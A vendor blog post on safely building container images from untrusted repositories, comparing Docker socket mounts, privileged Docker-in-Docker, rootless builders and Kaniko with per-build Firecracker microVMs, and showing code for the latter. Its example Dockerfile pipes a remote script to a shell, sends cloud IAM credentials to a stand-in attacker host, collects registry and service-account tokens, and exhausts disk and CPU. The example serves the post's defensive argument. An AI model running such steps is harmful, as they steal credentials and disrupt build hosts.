all posts

Building Container Images for Untrusted Repos Without Privileged Docker

Ajay Kumar··10 min read

The feature request is modest. Users push a repo with a Dockerfile, you produce an image, you run it. Every CI product, every PaaS, every AI agent platform that offers "deploy this" arrives at the same requirement, and the first implementation is always the same three lines: clone the repo, shell out to docker build, docker push. It works on the first try, which is exactly how it gets into production before anyone reads it as what it is.

I'm Ajay; I build PandaStack, a Firecracker microVM platform, and this is a problem we had to solve for our own app-hosting pipeline before we could sell it to anyone. The argument is simple and slightly uncomfortable: a Dockerfile is a script. Building it is running it. Every RUN line is arbitrary shell, as root, on the machine doing the build, with whatever that machine can reach. The image you produce is the artifact everyone worries about. The build is the part that already executed.

docker build is remote code execution with a nice progress bar

People internalize that running a stranger's container is dangerous and then hand the same stranger's build script an unsandboxed root shell, because "build" sounds like compilation and compilation sounds inert. It isn't. RUN executes in a container the builder creates, as UID 0 by default, with network access by default, on your builder host. ARG and ENV let the document parameterize itself. ADD will fetch a remote URL. And nothing in the format requires the commands to have anything to do with building software.

cat > Dockerfile <<'EOF'
# Nothing here is a vulnerability. Every line is documented behaviour.
FROM node:22-slim

# 1. The classic. A stranger's Dockerfile, piping a stranger's server
#    into a root shell on YOUR builder. Half of real Dockerfiles do a
#    version of this legitimately, which is why it never looks wrong.
RUN curl -sSL https://install.example.sh | sh

# 2. The build has network. The build also has an identity, if your
#    builder runs on a cloud instance with an attached role.
RUN curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
      | xargs -I{} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{} \
      | curl -X POST --data-binary @- https://collector.attacker.example

# 3. Anything mounted or reachable from the builder is in scope. If the
#    builder has a kubeconfig, a registry credential, or a socket, so
#    does this line.
RUN cat /root/.docker/config.json /var/run/secrets/**/token 2>/dev/null \
      | base64 -w0 | tee /tmp/x >/dev/null

# 4. And the boring one: never finish, or fill the disk.
RUN dd if=/dev/zero of=/big bs=1M count=200000 &
RUN while :; do :; done
EOF

docker build -t user/app .   # you just ran all of that

Read line 4 again, because it is the one that actually pages you. There is no attacker in it worth the name — a broken base image, a dependency resolver that spins, a build that pulls a 40 GB dataset because someone committed a notebook. Multi-tenant builders die of ordinary incompetence far more often than of malice, and the mitigations for both are the same mitigations.

If your build host can reach the cloud metadata endpoint, your internal registry, or your control-plane API, then every Dockerfile any user submits can reach them too. Not eventually, not after an exploit — on the first build, using documented features.

The three answers everyone reaches for, and how each one leaks

The build has to happen somewhere, and the somewhere is usually already a container, because that is where your CI runs. So the question becomes "how do I run docker inside this container," and the ecosystem has three well-worn answers. They are ordered here roughly by how bad they are.

Mounting /var/run/docker.sock

This is the one that shows up in blog posts as a clever trick: bind-mount the host's Docker socket into the build container and you get docker build with no nesting, no privileged flag, full layer cache reuse, and excellent performance. It is handing the build a key to the building it is being built in.

The Docker socket is not a build API. It is the daemon's full control API, and the daemon runs as root on the host. Anything that can talk to it can start a container with the host filesystem bind-mounted, or with the host PID namespace, or with every capability, and then it is simply root on the node — not through an exploit, through the API's intended functionality. There is no permission model to tighten, because the socket has one privilege level: all of it. Access to the socket is equivalent to root on the host, and Docker's own documentation says so about as loudly as documentation can.

The tell is that the escape does not need a vulnerability. Ask anyone who has run a CI platform: the socket mount is how the first pentest report gets written.

--privileged Docker-in-Docker

The second answer runs a whole dockerd inside the build container, which at least stops the build from steering the host daemon. To make the inner daemon work — it needs cgroup manipulation, mount, loop devices, overlayfs, iptables — you pass --privileged, the flag whose documentation is a warning. Privileged turns off the guard rails wholesale: all capabilities, unmasked /proc and /sys, unrestricted device access, seccomp and AppArmor effectively out of the picture.

So the isolation you have left is a shared kernel with the safety features disabled. The classic demonstrations are almost rude in their simplicity — write to a cgroup release_agent, or find the host filesystem through an unmasked device, and you have host code execution. Container-escape techniques that need real bug-hunting against a hardened container are routine against a privileged one.

Privileged DinD is fine, genuinely, for a single-tenant builder running your own repos, where the trust boundary is the network perimeter and everyone with commit access could already deploy. It becomes indefensible the moment the Dockerfile comes from someone whose name you do not know.

Sysbox, rootless daemons, and other blast-radius reduction

The third family is the serious one and it deserves respect. Sysbox makes an inner Docker work without --privileged using user namespaces and syscall trapping; rootless Docker runs the daemon as an unprivileged user. Both meaningfully shrink what a build can do — the build's root maps to a nobody on the host, and the crude escapes are blocked outright. Check each project's own docs for the current capability matrix before relying on any specific claim; these move.

But note what did not change. There is still exactly one kernel, and the build still gets to talk to it through a large, direct syscall surface — and privilege escalation via user namespaces has its own recurring genre of CVEs, so the feature that contains you is itself complex kernel code the build can drive. That is a real reduction in blast radius. It is not a different category of boundary.

BuildKit rootless and Kaniko: what they fix and what they don't

The other direction is to stop needing a daemon at all. BuildKit — the engine behind modern docker build — can run rootless, and Kaniko builds images from a Dockerfile entirely in user space inside a container. Both are widely deployed and both are good tools when used for what they are. Be precise about which problem they solve.

What they genuinely fix: no root daemon to hijack, no socket to mount, no --privileged flag in your manifests. Your Kubernetes admission policy stops screaming, your security questionnaire gets easier, and an accidental compromise of the builder pod is not automatically a compromise of the node. For a first-party CI building your own repos, rootless BuildKit is close to the right answer and I would not argue you out of it.

What they do not fix is the sentence that matters here: RUN still executes the submitter's code in your namespace, on your kernel. Kaniko's model is worth stating plainly because the summary hides it — it extracts each base-layer filesystem into the container's own root and executes the build steps directly there, rather than sandboxing them. That is an ingenious way to build an image without privileges. It is not a security sandbox, and the project has never claimed to be one; the standing guidance is to run it somewhere you already isolate. Rootless BuildKit sandboxes RUN more carefully but lands on the same shared kernel.

So the user-space builders answer "how do I build without privileges," a deployment question. They do not answer "whose code am I running," a tenancy question. If every build on a node belongs to one tenant, the first question is the only one you have.

Side by side

  • Docker socket mount — Isolation: none; the socket is a root-equivalent host API. Build speed: excellent, full host cache. Blast radius: the host and every tenant on it, via documented API calls, no exploit required.
  • Privileged DinD — Isolation: nominal; capabilities, seccomp and LSM guards are off and the kernel is shared. Build speed: good, cache lives with the inner daemon. Blast radius: the host, via well-known and reliable escape techniques.
  • Sysbox / rootless daemon — Isolation: real reduction via user namespaces and syscall interception, one shared kernel. Build speed: good; some workloads need tuning. Blast radius: bounded until a user-namespace or kernel bug; verify the current claims in the project's docs.
  • Rootless BuildKit — Isolation: no daemon and no privileges, RUN sandboxed but on the shared kernel. Build speed: excellent, best-in-class cache and parallelism. Blast radius: the node's kernel surface, so single-tenant by design.
  • Kaniko — Isolation: none by design; layers are extracted into the container's own filesystem and steps run there. Build speed: fine, registry-backed cache. Blast radius: the pod and whatever it can reach; the docs tell you to isolate it yourself.
  • Firecracker microVM per build — Isolation: separate guest kernel under KVM, hypervisor boundary. Build speed: a real dockerd or BuildKit inside, so native; cold cache unless you warm it. Blast radius: one VM that is destroyed after the push.

Give the build its own kernel and stop negotiating

The microVM answer inverts the problem. Rather than trying to run a build safely inside a container, put the build in a Firecracker guest with its own kernel under KVM — then run a real, honest, privileged dockerd or BuildKit inside it. No user-namespace gymnastics, no syscall interception, no rootless mode that breaks on the one base image your customer actually uses. The build gets root because the build needs root, and root in that guest buys nothing, because the boundary is a hypervisor with a deliberately tiny virtio device surface rather than the full Linux syscall interface. It is the same model AWS Lambda uses to run untrusted functions.

The two objections to a VM per build have always been start cost and cache. Start cost is answerable: on PandaStack every create is a snapshot restore rather than a boot — roughly 179ms p50 and 203ms p99, with the restore step itself near 49ms. The first boot of a template, before a snapshot exists, is about 3 seconds, paid once. Against a build that spends thirty seconds resolving dependencies, a fresh machine is not the expensive part. Cache is the interesting half, and the rest of this post is mostly about it.

from pandastack import Sandbox

# "builder" is YOUR baked template: base image plus dockerd/BuildKit, and
# ideally the base layers your customers actually use, already pulled.
BUILDER_TEMPLATE = "builder"
BUILD_BUDGET_S = 900


def build_and_push(repo_tarball: bytes, image_ref: str, push_token: str) -> dict:
    """One untrusted build in a machine that will not survive it."""
    # ttl_seconds is the platform's backstop. If this process panics
    # mid-build, the VM still dies. Cleanup you have to remember to run
    # is cleanup that does not happen during an incident.
    sbx = Sandbox.create(
        template=BUILDER_TEMPLATE,
        ttl_seconds=BUILD_BUDGET_S + 120,
        metadata={"job": "image-build", "ref": image_ref},
    )
    try:
        # The build context arrives as bytes. It does not arrive as a git
        # URL the guest fetches -- the guest has no credentials and the
        # host does the cloning, so a private repo never grants the build
        # a token it could use for a second, less welcome clone.
        sbx.filesystem.write("/build/context.tar", repo_tarball)
        sbx.exec("mkdir -p /build/src && tar -xf /build/context.tar -C /build/src")

        # A registry token scoped to push:<this repo>:<this tag>, minted
        # seconds ago, expiring in minutes. Written to a file that is
        # never part of the build context, and dying with the VM.
        sbx.filesystem.write("/run/push-token", push_token)

        r = sbx.exec(
            f"/opt/build.sh /build/src {image_ref}",
            timeout_seconds=BUILD_BUDGET_S,
        )

        return {
            "ok": r.exit_code == 0,
            # Build logs are attacker-controlled text on their way to a
            # browser. Treat them as such, and scrub before display.
            "logs": scrub(r.stdout + r.stderr),
            "digest": read_digest(sbx) if r.exit_code == 0 else None,
        }
    finally:
        # Destroyed, not reused. A build that ran as root in this guest
        # could have rewritten the docker config, the CA bundle, or the
        # entrypoint of a cached base layer.
        sbx.kill()

Caching when the builder is destroyed every time

A clean VM per build means a cold cache per build, and a cold cache means every build re-pulls the base image and re-runs npm install. That is the tax people actually feel, and there are two ways to pay less of it.

The first is a registry-backed cache, BuildKit's own answer, which works regardless of where the builder lives: export layers and cache metadata to a registry with --cache-to, import with --cache-from, let content-addressing deduplicate. Scope it per repository, never globally. A cache shared across tenants is a channel between tenants — a poisoned entry is a build-time backdoor that every later build imports on purpose, and shared-build-cache poisoning is a real class of supply-chain finding, not a thought experiment.

The second is to make the machine itself warm. Bake the base layers your customers actually use — the top twenty tags cover most real traffic — into the builder template, so a restore comes up with them already in the local image store and no pull happens at all. Then, for a repo that builds repeatedly, fork a builder that has already pulled the base and populated the dependency cache: a same-host fork is 400-750ms with copy-on-write memory and disk, cross-host 1.2-3.5s. The fork inherits the warm state and is still a disposable machine, because a copy-on-write child that gets compromised is still one VM you delete.

Fork the warm builder per build; never reuse one. The moment a builder serves two tenants in sequence you have rebuilt the shared-kernel problem in a more expensive way — with the added indignity that the first tenant got root on it.

Credentials, egress, and the other things that leak

Isolation is necessary and not sufficient. A perfectly isolated VM that you handed an org-wide registry credential is a perfectly isolated credential thief. The rules that actually keep a build service out of the news are unglamorous:

  1. Push tokens are short-lived and narrowly scoped. Mint per build, scope to push on exactly one repository path, expire in minutes. Never the org-wide robot account, never a credential that can also pull your private base images unless this build genuinely needs them.
  2. Credentials never enter the build context or a build ARG. Anything passed as ARG shows up in the image history; anything COPYd in is in a layer forever. Use BuildKit's secret mounts, or hand the token to your own wrapper outside the Dockerfile's reach — as above, where the token lands in /run and the context lands in /build.
  3. The host clones, not the guest. If the guest holds the repo token it can clone anything that token can reach. Resolve the ref host-side, ship a tarball, keep the credential on your side of the hypervisor.
  4. Egress is an allowlist, not a wish. Builds legitimately need npm, PyPI, crates.io, Go proxies, apt mirrors and the base-image registry. They do not need arbitrary outbound TCP — crypto miners are also enthusiastic consumers of unrestricted egress. Enforce it at the VM's network namespace, and make the link-local metadata address genuinely unreachable.
  5. Wall clock, RAM ceiling and disk quota come from outside the guest, because the thing you are limiting is the thing that is stuck. Firecracker cannot resize guest memory at snapshot restore, so the template's baked RAM is the ceiling: pick the tier when you bake.
  6. Concurrency is capped per tenant. Isolation stops one build hurting another; it does not stop one account occupying your fleet with two hundred deliberately slow builds.
#!/usr/bin/env bash
# /opt/build.sh -- runs INSIDE the microVM, as root, deliberately.
# There is a real dockerd here and we are not pretending otherwise;
# the boundary is the hypervisor, not this script.
set -euo pipefail

SRC="$1"; REF="$2"
CACHE_REF="${REF%:*}:buildcache"   # per-repo cache scope, never shared

# Auth from a file the build context cannot see, mounted as a BuildKit
# secret so it never lands in a layer or in the image history.
buildctl-daemonless.sh build \
  --frontend dockerfile.v0 \
  --local context="$SRC" \
  --local dockerfile="$SRC" \
  --secret id=push,src=/run/push-token \
  --opt build-arg:BUILDKIT_INLINE_CACHE=1 \
  --import-cache type=registry,ref="$CACHE_REF" \
  --export-cache type=registry,ref="$CACHE_REF",mode=max \
  --output type=image,name="$REF",push=true,oci-mediatypes=true \
  --metadata-file /out/metadata.json

# The digest is the only thing that matters downstream. Everything else
# in this machine -- layers, caches, whatever the build wrote to /root --
# dies with it in a few seconds.
jq -r '."containerimage.digest"' /out/metadata.json > /out/digest.txt

The reproducibility dividend

There is a second, quieter reason to build in a fresh machine, and it has nothing to do with attackers. A long-lived builder accumulates state, and accumulated state is where "works in CI, fails on the release build" comes from: a layer cached from a base image tag that has since moved, a package manager cache with a version nobody can name, a file some earlier build left in /tmp that a later build happily picks up.

A build that starts from a snapshot starts from a known filesystem, every time, and the snapshot generation is a version you can record next to the image digest. That gets you most of the way to hermetic builds — the remaining hole is the network, which is why the egress allowlist earns its keep twice: a security control on Monday, a reproducibility control on Tuesday. If you are chasing provenance attestations, those are the properties the attestation asserts, and they are far easier to assert about a disposable machine than about a builder that has been up for six weeks.

When you do not need any of this

If every Dockerfile you build was written by someone with commit access to your repos, stop here. Rootless BuildKit on your existing CI is the right answer, it is simpler than anything above, and adding a hypervisor to a single-tenant build farm is architecture for its own sake. The line is not "is my build system fancy." The line is whether a person you have never met can cause a command to run on your builder.

The other honest case for skipping it is not building at all. Buildpacks and framework detection cover a large fraction of real user repos without ever executing a user-authored build script — the platform decides how to build a Next.js app rather than reading instructions from the repo. That is why so many PaaS products default to it and treat a custom Dockerfile as the advanced option. It does not remove the problem: the repo's dependencies still install and post-install hooks are still code. It moves the question from "whose Dockerfile" to "whose package.json," which is a better question to have, and still one you want a kernel boundary around.

Pick the sentence you want in the postmortem: "a disposable VM was rooted by its own build and deleted ninety seconds later," or "a customer's Dockerfile read the node's IAM role and pushed to our internal registry."

Frequently asked questions

Is mounting /var/run/docker.sock into a build container safe?

No, and it is not a matter of degree. The Docker socket is the daemon's full control API and the daemon runs as root on the host, so anything that can reach the socket can start a container with the host filesystem bind-mounted and become root on the node. That is documented functionality, not an exploit, which means there is no patch level or configuration that makes it safe — the socket has exactly one privilege level. It is a reasonable convenience on a laptop or a single-tenant builder where everyone with access could already deploy. It is disqualifying the moment the build script comes from a user, because the build script can call that API.

Is Kaniko a sandbox for building untrusted Dockerfiles?

No, and the project does not claim to be one. Kaniko's design is to extract the base image layers into its own container filesystem and execute the Dockerfile's build steps directly in that filesystem, which is a clever way to produce an image without a privileged daemon, but the RUN commands still execute as ordinary processes with whatever the pod can reach. The guidance has always been to run Kaniko somewhere you already trust the input or already isolate the environment. It solves the deployment problem — no daemon, no privileged flag, no socket — and leaves the tenancy problem untouched. Verify the current security notes in Kaniko's own documentation, since the project's posture and maintenance status have shifted over time.

Does rootless BuildKit make it safe to build other people's repos?

It makes it much safer to build your own. Rootless BuildKit removes the root daemon and the privileged flag, sandboxes RUN more carefully than a naive builder, and means a compromised build pod is not automatically a compromised node — all genuinely valuable. What it cannot change is that the build still runs on the host's kernel and still has a large syscall surface to work with, so a kernel or user-namespace vulnerability is a cross-tenant event. If all builds on a node belong to one tenant, that residual risk is yours and it is acceptable. If builds from different customers share a node, you want a boundary the build cannot reach through, which in practice means a separate guest kernel under a hypervisor.

How do you keep builds fast if every build gets a fresh VM?

Two layers, and you want both. Use a registry-backed BuildKit cache scoped per repository so layer reuse survives the builder being ephemeral — that is portable and works no matter where the build runs. Then make the machine itself warm: bake the base images your customers actually use into the builder template so a restore comes up with them already in the local image store, and fork a warmed builder for repeat builds of the same repo rather than creating a cold one. On PandaStack a create is a snapshot restore at roughly 179ms p50 and 203ms p99, and a same-host fork is 400-750ms, so machine setup is a small constant next to dependency resolution. Never share a warm builder across tenants — fork it, use it once, destroy it.

Keep reading

Run code in a microVM in one API call.

49ms p50 cold start. Fork, snapshot, and scale to zero.

Start free
Written by Ajay Kumar, Founder, PandaStack.